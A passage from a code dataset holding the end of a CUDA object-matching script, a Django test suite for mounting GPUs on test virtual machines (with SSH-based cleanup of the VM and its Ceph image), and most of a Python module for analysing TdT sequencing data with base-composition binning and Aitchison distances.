d_test_objs[j]\n\n src_obj_probs = d_src_probs[i + j]\n test_obj_probs = d_test_probs[j]\n\n k = 0\n if s_id[0] == t_id[0]:\n k += 6 - abs((src_obj_probs[0] - test_obj_probs[0])) * 18\n cuda.atomic.add(d_results, i, k)\n elif s_id[0] == t_id[1]:\n k += 2 - abs((src_obj_probs[0] - test_obj_probs[1])) * 6\n cuda.atomic.add(d_results, i, k)\n elif s_id[1] == t_id[0]:\n k += 2 - abs((src_obj_probs[1] - test_obj_probs[0])) * 6\n cuda.atomic.add(d_results, i, k)\n elif s_id[1] == t_id[1]:\n k += 2 - abs((src_obj_probs[1] - test_obj_probs[1])) * 6\n cuda.atomic.add(d_results, i, k)\n #print(idx, i, j, d_results[i])\n\n\ndef print_gpu_info():\n print(cuda.gpus)\n\n\nif __name__ == '__main__':\n print_gpu_info()\n\n start_time = datetime.datetime.now()\n source_files = ['./data/冰上恋人_01.txt']\n for src_file in source_files:\n search_file('./data/test008_AIresult_top5.txt', src_file)\n\n end_time = datetime.datetime.now()\n print(\"\\n\\nTotalTime: %s\" % (end_time - start_time))\n","sub_path":"gpu_test/src/old_code/gpu_top5_test_numpy_jit.py","file_name":"gpu_top5_test_numpy_jit.py","file_ext":"py","file_size_in_byte":4498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"158110287","text":"#coding=utf-8\r\nfrom django.test import TestCase\r\nfrom django.contrib.auth.models import User\r\nfrom .models import DBGPU\r\nfrom .api import GPUAPI\r\nimport subprocess\r\nfrom api.tests.tools import create_center, create_group, create_host, create_vlantype\r\nfrom api.tests.tools import create_vlan, create_ip, create_ceph_host, create_ceph_image_pool\r\nfrom api.tests.tools import create_imagetype, create_xml, create_image\r\nfrom api.tests.testsettings import *\r\n\r\nfrom compute.api import VmAPI\r\n\r\ndef create_gpu(host, address):\r\n db = DBGPU()\r\n db.host = host\r\n db.address = address\r\n db.enable = True\r\n db.save()\r\n return db\r\n\r\nclass DeviceTest(TestCase):\r\n def setUp(self):\r\n self.vmapi = VmAPI()\r\n self.gpuapi = GPUAPI()\r\n\r\n self.c1 = create_center('测试中心1', '位置1', '备注1')\r\n self.c2 = create_center('测试中心2', '位置2', '备注2')\r\n \r\n self.g1 = create_group(self.c1, '测试集群1', '备注11')\r\n self.g2 = create_group(self.c1, '测试集群2', '备注')\r\n \r\n self.h1 = create_host(self.g1, '1.1.1.1')\r\n self.h2 = create_host(self.g2, '1.1.1.2')\r\n\r\n\r\n\r\n self.vt1 = create_vlantype('vlantype1')\r\n \r\n self.v1 = create_vlan(str(TEST_VLAN), str(TEST_BR), self.vt1)\r\n \r\n self.ip1 = create_ip(self.v1, TEST_MAC, TEST_IP)\r\n \r\n self.h1 = create_host(self.g1, str(TEST_HOST), True, [self.v1])\r\n\r\n self.ch1 = create_ceph_host(self.c1, str(TEST_CEPH['host']), TEST_CEPH['port'], str(TEST_CEPH['uuid']))\r\n\r\n self.cp1 = create_ceph_image_pool(self.ch1, TEST_CEPH['pool'])\r\n \r\n self.it1 = create_imagetype('imagetype1')\r\n \r\n self.x1 = create_xml('linux', TEST_XML)\r\n \r\n self.i1 = create_image(self.cp1, self.x1, self.it1, 'image1', 'v0.1', TEST_IMAGE)\r\n\r\n self.vcpu1 = 2\r\n self.mem1 = 2048\r\n self.vm1 = self.vmapi.create_vm(self.i1.id, self.vcpu1, self.mem1, host_id=self.h1.id, vlan_id=self.v1.id)\r\n \r\n self.gpu1 = create_gpu(self.h1, '0000:84:00:0')\r\n\r\n def tearDown(self):\r\n cmd = 'ssh %s virsh destroy %s' % (self.h1.ipv4, self.vm1.uuid)\r\n r, info = subprocess.getstatusoutput(cmd)\r\n \r\n cmd = 'ssh %s virsh undefine %s' % (self.h1.ipv4, self.vm1.uuid)\r\n r, info = subprocess.getstatusoutput(cmd)\r\n \r\n \r\n \r\n cmd1 = 'ssh %s rbd rm %s/%s' % (self.cp1.host.host, self.cp1.pool, self.vm1.uuid)\r\n r1, info1 = subprocess.getstatusoutput(cmd1) \r\n \r\n\r\n def test_set_remarks(self):\r\n remarks = 'testseresgfsts'\r\n self.assertTrue(self.gpuapi.set_remarks(self.gpu1.id, remarks))\r\n db = DBGPU.objects.get(id = self.gpu1.id)\r\n self.assertEqual(db.remarks, remarks)\r\n \r\n def test_mount(self):\r\n mounted = self.gpuapi.mount(self.vm1.uuid, self.gpu1.id)\r\n self.assertTrue(mounted)\r\n db = DBGPU.objects.get(id = self.gpu1.id)\r\n self.assertEqual(db.vm, self.vm1.uuid)\r\n\r\n if mounted:\r\n self.assertTrue(self.gpuapi.umount(self.gpu1.id))\r\n db = DBGPU.objects.get(id=self.gpu1.id)\r\n self.assertEqual(db.vm, None)\r\n","sub_path":"device/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":3264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"532038967","text":"# Utility functions for analysis of TdT NGS data for TURTLES system\r\n# - See Jupyter notebooks in ./Notebooks directory for example usage and\r\n# - generation of figures in the paper.\r\n#\r\n# Author: Jonathan Strutz (jonathanstrutz2021@u.northwestern.edu)\r\n#\r\n# Note: I copied two functions, closure and clr, from skbio.stats.composition\r\n# to this file since I had issues installing skbio on Windows.\r\n\r\nimport gzip\r\nimport math\r\nimport os\r\nimport random\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom Bio import SeqIO\r\n\r\n\r\ndef read_seqs(data_dir, filename_end='trimmed.fq', degen=0, cutoff=0.0,\r\n seq_len_req=None, p_discard=0.0, cond_text=None,\r\n exact_cond_text=False):\r\n \"\"\"Read trimmed R1 fastq files in subdirectories in data_dir. Options for\r\n removing degenerate bases in primer, cutting off bases at the end of each\r\n sequence, only reading sequences of a specified length, and for randomly\r\n discarding a given proportion of sequences are available.\r\n\r\n Parameters\r\n ----------\r\n data_dir : str\r\n Filepath to folder which contains subfolders which each have an R1\r\n fastq file. read_seqs loops through these subfolders to find these\r\n files.\r\n filename_end : str (default: 'trimmed.fq')\r\n Suffix of the fastq filenames to read. Should be the same for every\r\n condition.\r\n degen : int (default: 0)\r\n Number of degenerate bases at the 3' end of the 5' initiator. This\r\n number of bases will get cut out from the beginning of each sequence.\r\n cutoff : float (default: 0.0)\r\n How many bases to cut off at the end of the sequence. Also gets rid of\r\n sequences that are less than cutoff length. Can be a decimal value, in\r\n which case, on average that many bases will be cut off. For example,\r\n if cutoff=2.5, 2 bases will be cut off 50% of the time and 3 bases will\r\n be cut off 50% of the time. All sequences less than 3 bases long would\r\n be thrown out. Any sequences of length 0 after this step are thrown\r\n out as well.\r\n seq_len_req : int (default: None)\r\n If provided, only sequences of length seq_len_req will be processed.\r\n This length is the sequence length after applying degen and cutoff.\r\n p_discard : float (default: 0.0)\r\n Randomly discard this proportion of sequences (0 for none, 1 for all).\r\n Useful for investigating how much data is required for good prediction.\r\n cond_text : list of str (default: None)\r\n If given, searches for these strings within each directory name. If\r\n none are present, ignores that directory completely. Useful for\r\n only reading sequences for specific conditions.\r\n exact_cond_text : bool (default: False)\r\n If True, matches directory name exactly (using cond_text). If false,\r\n searches within directory name for cond_text. Discards that condition\r\n if not found.\r\n\r\n Returns\r\n -------\r\n seqs : dict\r\n Key is directory (condition) name, value is a list of further\r\n processed sequences given input options.\r\n\r\n See Also\r\n --------\r\n cutoff_float\r\n get_norm_len_base_counts\r\n\r\n \"\"\"\r\n\r\n if degen:\r\n if isinstance(degen, float):\r\n if degen.is_integer():\r\n degen = int(degen)\r\n else:\r\n raise ValueError('degen should be a whole number.')\r\n\r\n if degen < 0:\r\n raise ValueError('degen should be non-negative.')\r\n\r\n if cutoff:\r\n if isinstance(cutoff, int):\r\n cutoff = float(cutoff)\r\n\r\n if cutoff < 0:\r\n raise ValueError('cutoff should be non-negative.')\r\n\r\n if p_discard:\r\n if isinstance(p_discard, int):\r\n p_discard = float(p_discard)\r\n\r\n if p_discard < 0 or p_discard > 1:\r\n raise ValueError('p_discard should be between 0.0 and 1.0, \\\r\n inclusive.')\r\n\r\n if cond_text:\r\n if isinstance(cond_text, str):\r\n cond_text = [cond_text]\r\n\r\n seqs = {}\r\n\r\n for directory in os.listdir(data_dir):\r\n if os.path.isfile(directory):\r\n # Just in case there are files in the data_dir, skip them\r\n continue\r\n\r\n data_file = None\r\n for filename in os.listdir(data_dir + directory):\r\n if filename.endswith(filename_end) and 'R1' in filename:\r\n data_file = filename\r\n\r\n if not data_file:\r\n raise FileNotFoundError('File with {} and \\'R1\\' in filename not '\r\n 'found'.format(filename_end))\r\n\r\n if cond_text:\r\n discard_cond = True\r\n for cond in cond_text:\r\n if exact_cond_text and cond == directory:\r\n discard_cond = False\r\n elif not exact_cond_text and cond in directory:\r\n discard_cond = False\r\n if discard_cond:\r\n continue\r\n\r\n filepath = data_dir + directory + '/' + data_file\r\n\r\n n_seqs = 0 # Need counter since we are using a generator\r\n seqs[directory] = []\r\n print('Loading', directory)\r\n for fasta in SeqIO.parse(filepath, 'fastq'):\r\n seq = list(str(fasta.seq))\r\n n_seqs += 1\r\n\r\n if p_discard:\r\n discard_seq = (random.random() < p_discard)\r\n if discard_seq:\r\n continue\r\n\r\n if degen:\r\n if len(seq) >= degen:\r\n seq = seq[degen:]\r\n else:\r\n continue\r\n\r\n if cutoff:\r\n if len(seq) < cutoff:\r\n continue\r\n elif cutoff.is_integer():\r\n seq = seq[:-int(cutoff)]\r\n else:\r\n # Cutoff is not a whole number\r\n seq = cutoff_float(seq, cutoff)\r\n # if len(seq) == 0:\r\n # continue\r\n\r\n if seq_len_req and len(seq) != seq_len_req:\r\n continue\r\n\r\n # If at this point, seq has been processed and passed all checks\r\n seqs[directory].append(seq)\r\n\r\n print('Read', str(n_seqs), 'sequences...\\n')\r\n\r\n return seqs\r\n\r\n\r\ndef read_in_vivo_seqs(data_dir, hgRNA_dict):\r\n \"\"\"Read R1 fastq files in subdirectories in data_dir. Used for in vivo data\r\n only. Looks for sequences in between hgRNA sequence and \"GTGGGGTTAGA\" site.\r\n\r\n Parameters\r\n ----------\r\n data_dir : str\r\n Filepath to folder which contains subfolders which each have an R1\r\n fastq file. read_in_vivo_seqs loops through these subfolders to find\r\n these files.\r\n hgRNA_dict : dict\r\n Keys are hgRNA string codes (e.g. 'A21') and values are hgRNA sequence.\r\n\r\n Returns\r\n -------\r\n seqs : dict\r\n Key is directory (condition) name, value is a list of further\r\n processed sequences.\r\n hgRNAs : dict\r\n Key is directory (condition) name, value is list of hgRNA codes.\r\n\r\n \"\"\"\r\n seqs = {}\r\n hgRNAs = {}\r\n\r\n for fastq_dir in os.listdir(data_dir):\r\n\r\n for fastq_filename in os.listdir(os.path.join(data_dir, fastq_dir)):\r\n\r\n if fastq_filename.endswith('R1_001.fastq.gz'):\r\n n_seqs = 0\r\n n_cut = 0\r\n lengths = []\r\n condition_name = fastq_filename.replace('_L001_R1_001.fastq.gz', '')\r\n seqs[condition_name] = []\r\n hgRNAs[condition_name] = []\r\n i = 0\r\n with gzip.open(os.path.join(data_dir, fastq_dir, fastq_filename), \"rt\") as fastq_file:\r\n for fasta in SeqIO.parse(fastq_file, format='fastq'):\r\n seq = str(fasta.seq)\r\n\r\n for key, hgRNA in hgRNA_dict.items():\r\n hgRNA_index = seq.find(hgRNA)\r\n\r\n if hgRNA_index != -1:\r\n seq = seq[(hgRNA_index + len(hgRNA)):]\r\n\r\n # Find GTGGGGTTAGA, cut site is just before that\r\n pos = str(seq).find('GTGGGGTTAGA')\r\n\r\n if pos == -1: # i.e. not found\r\n continue\r\n else:\r\n seq = seq[:pos]\r\n if seq:\r\n i += 1\r\n hgRNAs[condition_name].append(key)\r\n seqs[condition_name].append(seq)\r\n n_cut += 1\r\n lengths.append(len(seq))\r\n\r\n n_seqs += 1\r\n print('\\nRead', str(n_seqs), 'sequences in', fastq_filename, '...')\r\n print('Number cut and inserted into:', n_cut)\r\n ave_len = round(np.mean(lengths), 2)\r\n print(f'Average length (excluding 0-length seqs): {ave_len}\\n')\r\n\r\n return seqs, hgRNAs\r\n\r\n\r\ndef cutoff_float(seq, cutoff):\r\n \"\"\"Probabilistically cuts off a whole number of bases from the end of a\r\n sequence.\r\n\r\n Parameters\r\n ----------\r\n seq : str\r\n Nucleotide sequence to cut bases off of.\r\n cutoff : float\r\n Non-whole number of bases to cut off, on average.\r\n\r\n Returns\r\n -------\r\n seq : str\r\n Processed sequence with bases cut off of the end.\r\n\r\n \"\"\"\r\n\r\n floor = int(math.floor(cutoff))\r\n ceil = int(math.ceil(cutoff))\r\n p_floor = cutoff - floor\r\n\r\n use_floor = (random.random() < p_floor)\r\n\r\n if use_floor:\r\n seq = seq[:-floor]\r\n else:\r\n seq = seq[:-ceil]\r\n\r\n return seq\r\n\r\n\r\ndef get_seq_intervals(seqs, positions):\r\n \"\"\"Get bases at specified locations within sequences.\r\n\r\n Parameters\r\n ----------\r\n seqs : dict\r\n Key is directory (condition) name, value is a list of further\r\n processed sequences given input options.\r\n positions : list of int tuples and/or negative ints\r\n Base positions to parse each seq. For example, [(1, 5), (11, 15)]\r\n would return a list of two dicts, one for seqs from bp 1-5, the other\r\n for seqs from bp 11-15. If just an int, goes from that position to the\r\n end of the sequence, e.g. -5 would get the last 5 bases. 1-indexed and\r\n bounds are inclusive.\r\n\r\n Returns\r\n -------\r\n seq_intervals : list of dicts\r\n Key is condition, value is list of new seqs.\r\n\r\n See Also\r\n --------\r\n read_seqs\r\n\r\n \"\"\"\r\n\r\n seq_intervals = [{} for _ in range(len(positions))]\r\n\r\n for directory in seqs:\r\n for i, pos in enumerate(positions):\r\n if isinstance(pos, tuple):\r\n seq_intervals[i][directory] = [seq[(pos[0] - 1): pos[1]] for\r\n seq in seqs[directory]]\r\n elif isinstance(pos, int):\r\n if pos > 0:\r\n pos -= 1\r\n seq_intervals[i][directory] = [seq[(pos):] for seq in\r\n seqs[directory]]\r\n else:\r\n raise Exception('Positions should be ints and/or tuples of '\r\n 'positive integers.')\r\n\r\n return seq_intervals\r\n\r\n\r\ndef get_norm_len_base_counts(seqs, num_bins=1000):\r\n \"\"\"For each condition in seqs dict, count the number of A, C, G, and T at\r\n each position. Then normalize counts by the sequence's length by binning.\r\n\r\n Parameters\r\n ----------\r\n seqs : dict\r\n Key is directory (condition) name, value is a list of further\r\n processed sequences given input options.\r\n num_bins : int (default: 1000)\r\n The number of bins to divide each sequence up into.\r\n\r\n Returns\r\n -------\r\n counts_dict : dict\r\n Contains an array of counts at each bin (indexed) for each condition.\r\n Structure is {'directory_name': {'Base': [#, #, ..., #]}}.\r\n\r\n See Also\r\n --------\r\n read_seqs\r\n\r\n \"\"\"\r\n\r\n counts_dict = {}\r\n\r\n bases = ['A', 'C', 'G', 'N', 'T']\r\n\r\n bins = np.arange(0, 1 + 1 / num_bins, 1 / num_bins)\r\n\r\n for directory in seqs:\r\n\r\n counts_dict[directory] = {base: np.zeros(num_bins) for base in bases}\r\n\r\n for seq in seqs[directory]:\r\n\r\n if not seq:\r\n continue\r\n\r\n inds = bin_seq(seq, bins)\r\n\r\n # Given bin interval (e.g. bins 10 to 20) for a given base in this\r\n # sequence, add 1 to those bins for that base in counts_dict\r\n for base in bases:\r\n for (i1, i2) in inds[base]:\r\n counts_dict[directory][base][i1:i2] += 1\r\n\r\n print(directory, 'processed\\n')\r\n\r\n return counts_dict\r\n\r\n\r\ndef bin_seq(seq, bins):\r\n \"\"\"Divides the bases of a sequence into the number of bins specified.\r\n Returns the bin indices for each base.\r\n\r\n Parameters\r\n ----------\r\n seq : list\r\n Ordered list of bases in sequence.\r\n bins : np.arange\r\n Array of bin indices (e.g. array([0, 1, 2, ..., 997, 998, 999])).\r\n\r\n See Also\r\n --------\r\n get_norm_len_base_counts\r\n\r\n Notes\r\n -----\r\n This function has been optimized for binning which is why we precalculate\r\n intervals rather than counting bases in each individual bin on the fly.\r\n\r\n \"\"\"\r\n\r\n num_bins = len(bins)\r\n\r\n seq_fracs = [i / len(seq) for i in range(len(seq))]\r\n\r\n bin_ind = np.digitize(seq_fracs, bins, right=True)\r\n\r\n inds = {base: [] for base in ['A', 'C', 'G', 'T', 'N']}\r\n prev_base = seq[0]\r\n i_init = 0\r\n\r\n if len(seq) > 1:\r\n for i, base in enumerate(seq[1:]):\r\n i = i + 1\r\n if base != prev_base:\r\n inds[prev_base].append((bin_ind[i_init], bin_ind[i]))\r\n i_init = i\r\n\r\n if i == len(seq) - 1:\r\n inds[base].append((bin_ind[i_init], num_bins))\r\n\r\n prev_base = seq[i]\r\n\r\n else:\r\n inds[seq[0]].append((0, num_bins))\r\n\r\n return inds\r\n\r\n\r\ndef calc_norm_len_base_pcts(counts_dict, exclude_n=True):\r\n \"\"\"Takes a dict of counts and converts them into percents of A, C, G, and\r\n T at each bin. Percents reported as fractions (0 --> 1 space).\r\n\r\n Parameters\r\n ----------\r\n counts_dict : dict\r\n Contains an array of counts at each bin (indexed) for each condition.\r\n Structure is {'directory_name': {'Base': [#, #, ..., #]}}.\r\n exclude_n : bool (default: True)\r\n If True, calculate A, C, G, and T percent relative to total A, C, G,\r\n and T. Othwerise, calculate A, C, G, T, and N percent relative to total\r\n number of all base calls.\r\n\r\n Returns\r\n -------\r\n pcts_dict : dict\r\n Contains an array of percents at each bin (indexed) for each condition.\r\n Structure is {'directory_name': {'Base': [#, #, ..., #]}}.\r\n\r\n \"\"\"\r\n\r\n pcts_dict = {}\r\n\r\n if exclude_n:\r\n bases = ['A', 'C', 'G', 'T']\r\n else:\r\n bases = ['A', 'C', 'G', 'T', 'N']\r\n\r\n for condition in counts_dict:\r\n total_counts = sum([np.array(counts_dict[condition][base])\r\n for base in bases])\r\n total_counts = np.array(total_counts)\r\n\r\n pcts_dict[condition] = {}\r\n for base in bases:\r\n counts = np.array(counts_dict[condition][base])\r\n pcts_dict[condition][base] = np.divide(counts, total_counts)\r\n\r\n return pcts_dict\r\n\r\n\r\ndef get_total_base_pcts(seqs, exclude_n=True):\r\n \"\"\"Read R1 fastq files in subdirectories in data_dir. In each file, count\r\n the total numbers of A, C, G, and T added across all sequences. Then,\r\n normalize to percent.\r\n\r\n Parameters\r\n ----------\r\n seqs : dict\r\n Key is directory (condition) name, value is a list of further\r\n processed sequences given input options.\r\n exclude_n : bool (default: True)\r\n If True, calculate A, C, G, and T percent relative to total A, C, G,\r\n and T. Othwerise, calculate A, C, G, T, and N percent relative to total\r\n number of all base calls.\r\n\r\n Returns\r\n -------\r\n pcts_dict : dict\r\n Contains a dict of percents for A, C, G, T, and N (unless exclude_n is\r\n True). {'directory_name': {'A': #, 'C': #, 'G': #, 'T': #}}.\r\n\r\n See Also\r\n --------\r\n read_seqs\r\n\r\n \"\"\"\r\n\r\n pcts_dict = {}\r\n\r\n if exclude_n:\r\n bases = ['A', 'C', 'G', 'T']\r\n else:\r\n bases = ['A', 'C', 'G', 'T', 'N']\r\n\r\n for directory in seqs:\r\n\r\n base_n = {base: 0 for base in bases}\r\n\r\n for seq in seqs[directory]:\r\n\r\n for base in seq:\r\n if base in bases:\r\n base_n[base] += 1\r\n\r\n total = sum([base_n[base] for base in bases])\r\n\r\n if total == 0:\r\n total = 1\r\n\r\n pcts_n = {base: base_n[base] / total for base in bases}\r\n\r\n pcts_dict[directory] = pcts_n\r\n\r\n print('Processed all sequences\\n\\n')\r\n\r\n return pcts_dict\r\n\r\n\r\ndef calc_aitchison_distance(pcts_dict):\r\n \"\"\"Transforms compositional data into Aitchison space.\r\n\r\n Parameters\r\n ----------\r\n pcts_dict : dict\r\n Key is condition (directory), value is dict {base: percent}. Percent is\r\n in fractional form (0 to 1).\r\n\r\n Returns\r\n -------\r\n clr_data : dict\r\n Key is condition (directory), value is dict {base: Aitchison distance}.\r\n\r\n See Also\r\n --------\r\n get_total_base_percents\r\n\r\n \"\"\"\r\n total_counts = {}\r\n bases = ['A', 'C', 'G', 'T']\r\n\r\n for condition in pcts_dict:\r\n # CLR transformation requires %A, C, G, T to be a column vector\r\n total_counts[condition] = \\\r\n np.column_stack([pcts_dict[condition][base] for base in bases])\r\n\r\n clr_data = {}\r\n for condition in total_counts:\r\n clr_data[condition] = {}\r\n clr_matrix = clr(total_counts[condition])\r\n for i, base in enumerate(bases):\r\n if clr_matrix.ndim == 1:\r\n clr_data[condition][base] = clr_matrix[i] # changed from [i]\r\n else:\r\n clr_data[condition][base] = clr_matrix[:, i]\r\n\r\n return clr_data\r\n\r\n\r\ndef closure(mat):\r\n \"\"\"Copied from skbio.stats.composition.closure since I had issues\r\n installing the skbio package on Windows. Performs closure to ensure that\r\n all elements add up to 1.\r\n\r\n Parameters\r\n ----------\r\n mat : array_like\r\n a matrix of proportions where\r\n rows = compositions\r\n columns = components\r\n\r\n Returns\r\n -------\r\n array_like, np.float64\r\n A matrix of proportions where all of the values\r\n are nonzero and each composition (row) adds up to 1\r\n\r\n Raises\r\n ------\r\n ValueError\r\n Raises an error if any values are negative.\r\n ValueError\r\n Raises an error if the matrix has more than 2 dimension.\r\n ValueError\r\n Raises an error if there is a row that has all zeros.\r\n\r\n Examples\r\n --------\r\n >>> import numpy as np\r\n >>> from skbio.stats.composition import closure\r\n >>> X = np.array([[2, 2, 6], [4, 4, 2]])\r\n >>> closure(X)\r\n array([[ 0.2, 0.2, 0.6],\r\n [ 0.4, 0.4, 0.2]])\r\n\r\n \"\"\"\r\n\r\n mat = np.atleast_2d(mat)\r\n\r\n if np.any(mat < 0):\r\n raise ValueError(\"Cannot have negative proportions\")\r\n\r\n if mat.ndim > 2:\r\n raise ValueError(\"Input matrix can only have two dimensions or less\")\r\n\r\n if np.all(mat == 0, axis=1).sum() > 0:\r\n raise ValueError(\"Input matrix cannot have rows with all zeros\")\r\n\r\n mat = mat / mat.sum(axis=1, keepdims=True)\r\n\r\n return mat.squeeze()\r\n\r\n\r\ndef clr(mat):\r\n r\"\"\"Copied from skbio.stats.composition.clr since I had issues installing\r\n the skbio package on Windows. Performs centre log ratio transformation.\r\n This function transforms compositions from Aitchison geometry to the real\r\n space. The :math:`clr` transform is both an isometry and an isomorphism\r\n defined on the following spaces\r\n\r\n :math:`clr: S^D \\rightarrow U`\r\n\r\n where :math:`U=\\{x :\\sum\\limits_{i=1}^D x = 0 \\; \\forall x \\in\r\n \\mathbb{R}^D\\}`\r\n\r\n It is defined for a composition :math:`x` as follows:\r\n .. math::\r\n clr(x) = \\ln\\left[\\frac{x_1}{g_m(x)}, \\ldots, \\frac{x_D}{g_m(x)}\\right]\r\n\r\n where :math:`g_m(x) = (\\prod\\limits_{i=1}^{D} x_i)^{1/D}` is the geometric\r\n mean of :math:`x`.\r\n\r\n Parameters\r\n ----------\r\n mat : array_like, float\r\n a matrix of proportions where\r\n rows = compositions and\r\n columns = components\r\n Returns\r\n -------\r\n numpy.ndarray\r\n clr transformed matrix\r\n Examples\r\n --------\r\n >>> import numpy as np\r\n >>> from skbio.stats.composition import clr\r\n >>> x = np.array([.1, .3, .4, .2])\r\n >>> clr(x)\r\n array([-0.79451346, 0.30409883, 0.5917809 , -0.10136628])\r\n\r\n \"\"\"\r\n\r\n mat = closure(mat)\r\n lmat = np.log(mat)\r\n gm = lmat.mean(axis=-1, keepdims=True)\r\n\r\n return (lmat - gm).squeeze()\r\n\r\n\r\ndef generate_aitch_df(pcts_dict, clr_data, condition_dict, rep_dict,\r\n zero_control_conds, one_control_conds):\r\n \"\"\"Take dNTP frequency data and Aitchison distance data and then calculate\r\n aitchison distance. Format results in a long-form dataframe for plotting.\r\n\r\n Parameters\r\n ----------\r\n pcts_dict : dict\r\n Key is condition (directory), value is dict {base: [#, #, ..., #, #]}\r\n where each # is a percent and index is bin. Percents are in fractional\r\n form (0 to 1).\r\n clr_data : dict\r\n Key is condition (directory), value is dict {base: [#, #, ..., #, #]}\r\n where each # is a percent transformed into Aitchison space and index is\r\n bin.\r\n condition_dict : dict\r\n Maps directory name to more readable condition name. Format is\r\n {directory: condition_name}.\r\n rep_dict : dict\r\n Maps directory name to replicate number. Format is {directory: #}.\r\n zero_control_conds : list\r\n List of condition (directory) prefixes of those conditions that are to\r\n be labeled as the zero-signal control. Used for signal calculation.\r\n one_control_conds : list\r\n List of condition (directory) prefixes of those conditions that are to\r\n be labeled as the one-signal control. Used for signal calculation.\r\n\r\n Returns\r\n -------\r\n data : pd.DataFrame\r\n Contains information on dNTP frequency as well as the transformed\r\n Aitchison value at each bin for each condition, replicate pair.\r\n Contains the following columns: 'Directory', 'Condition', 'Replicate',\r\n 'Bin Number', 'Aitch Dist (from 0)', 'Aitch Dist (from 1)', 'A %\r\n Aitch', 'C % Aitch', 'G % Aitch', 'T % Aitch', 'A % Aitch Diff from 0',\r\n 'C % Aitch Diff from 0' 'G % Aitch Diff from 0', 'T % Aitch Diff from\r\n 0', 'A % Aitch Diff from 1, 'C % Aitch Diff from 1', 'G % Aitch Diff\r\n from 1', 'T % Aitch Diff from 1', 'A %', 'C %', 'G %', 'T %'.\r\n\r\n See Also\r\n --------\r\n calc_norm_len_base_pcts : can generate pcts_dict\r\n calc_aitchison_distance : can generate clr_data\r\n calc_signal : adds signal column to df\r\n\r\n \"\"\"\r\n\r\n data = pd.DataFrame()\r\n bases = ['A', 'C', 'G', 'T']\r\n\r\n directory_col = []\r\n condition_col = []\r\n replicate_col = []\r\n bin_num_col = []\r\n aitch_dist0_col = []\r\n aitch_dist1_col = []\r\n a_ad_col = []\r\n c_ad_col = []\r\n g_ad_col = []\r\n t_ad_col = []\r\n a_diff0_col = []\r\n c_diff0_col = []\r\n g_diff0_col = []\r\n t_diff0_col = []\r\n a_diff1_col = []\r\n c_diff1_col = []\r\n g_diff1_col = []\r\n t_diff1_col = []\r\n a_col = []\r\n c_col = []\r\n g_col = []\r\n t_col = []\r\n\r\n zero_cond_clr_means = {base: np.mean([clr_data[cond][base] for cond in\r\n zero_control_conds], axis=0) for base in bases}\r\n\r\n one_cond_clr_means = {base: np.mean([clr_data[cond][base] for cond in\r\n one_control_conds], axis=0) for base in bases}\r\n\r\n for directory in pcts_dict:\r\n\r\n a_ad_col += list(clr_data[directory]['A'])\r\n c_ad_col += list(clr_data[directory]['C'])\r\n g_ad_col += list(clr_data[directory]['G'])\r\n t_ad_col += list(clr_data[directory]['T'])\r\n\r\n diffs0 = [abs(clr_data[directory][base] - zero_cond_clr_means[base])\r\n for base in bases]\r\n diffs1 = [abs(clr_data[directory][base] - one_cond_clr_means[base])\r\n for base in bases]\r\n\r\n a_diff0_col += list(diffs0[0])\r\n c_diff0_col += list(diffs0[1])\r\n g_diff0_col += list(diffs0[2])\r\n t_diff0_col += list(diffs0[3])\r\n\r\n a_diff1_col += list(diffs1[0])\r\n c_diff1_col += list(diffs1[1])\r\n g_diff1_col += list(diffs1[2])\r\n t_diff1_col += list(diffs1[3])\r\n\r\n aitch_dists0 = np.linalg.norm(diffs0, axis=0)\r\n aitch_dists1 = np.linalg.norm(diffs1, axis=0)\r\n\r\n condition_name = condition_dict[directory]\r\n condition_rep = rep_dict[directory]\r\n\r\n for i, (x0, x1) in enumerate(zip(aitch_dists0, aitch_dists1)):\r\n bin_num = i + 1\r\n bin_num_col.append(bin_num)\r\n aitch_dist0_col.append(x0)\r\n aitch_dist1_col.append(x1)\r\n\r\n directory_col.append(directory)\r\n condition_col.append(condition_name)\r\n replicate_col.append(condition_rep)\r\n\r\n a_col += list(pcts_dict[directory]['A'])\r\n c_col += list(pcts_dict[directory]['C'])\r\n g_col += list(pcts_dict[directory]['G'])\r\n t_col += list(pcts_dict[directory]['T'])\r\n\r\n data['Directory'] = directory_col\r\n data['Condition'] = condition_col\r\n data['Replicate'] = replicate_col\r\n data['Bin Number'] = bin_num_col\r\n data['Aitch Dist (from 0)'] = aitch_dist0_col\r\n data['Aitch Dist (from 1)'] = aitch_dist1_col\r\n data['A % Aitch'] = a_ad_col\r\n data['C % Aitch'] = c_ad_col\r\n data['G % Aitch'] = g_ad_col\r\n data['T % Aitch'] = t_ad_col\r\n data['A % Aitch Diff from 0'] = a_diff0_col\r\n data['C % Aitch Diff from 0'] = c_diff0_col\r\n data['G % Aitch Diff from 0'] = g_diff0_col\r\n data['T % Aitch Diff from 0'] = t_diff0_col\r\n data['A % Aitch Diff from 1'] = a_diff1_col\r\n data['C % Aitch Diff from 1'] = c_diff1_col\r\n data['G % Aitch Diff from 1'] = g_diff1_col\r\n data['T % Aitch Diff from 1'] = t_diff1_col\r\n data['A %'] = a_col\r\n data['C %'] = c_col\r\n data['G %'] = g_col\r\n data['T %'] = t_col\r\n\r\n return data\r\n\r\n\r\ndef calc_signal(data, zero_control_conds, one_control_conds,\r\n zero_control_name='0 Control', one_control_name='1 Control'):\r\n \"\"\"Takes in long-form dataframe with columns 'Aitch Dist (from 0)', 'Aitch\r\n Dist (from 1)', 'Directory', 'Condition', and 'Replicate'. Calculates\r\n signal and creates new 'Signal' column in dataframe. See paper for details.\r\n\r\n Parameters\r\n ----------\r\n data : pd.DataFrame\r\n Contains information on dNTP frequency as well as the transformed\r\n Aitchison value at each bin for each condition, replicate pair.\r\n Contains the following columns: 'Directory', 'Condition', 'Replicate',\r\n 'Bin Number', 'Aitch Dist (from 0)', 'Aitch Dist (from 1)', 'A %\r\n Aitch', 'C % Aitch', 'G % Aitch', 'T % Aitch', 'A % Aitch Diff from 0',\r\n 'C % Aitch Diff from 0' 'G % Aitch Diff from 0', 'T % Aitch Diff from\r\n 0', 'A % Aitch Diff from 1, 'C % Aitch Diff from 1', 'G % Aitch Diff\r\n from 1', 'T % Aitch Diff from 1', 'A %', 'C %', 'G %', 'T %'.\r\n zero_control_conds : list\r\n List of condition (directory) prefixes of those conditions that are to\r\n be labeled as the zero-signal control. Used for signal calculation.\r\n 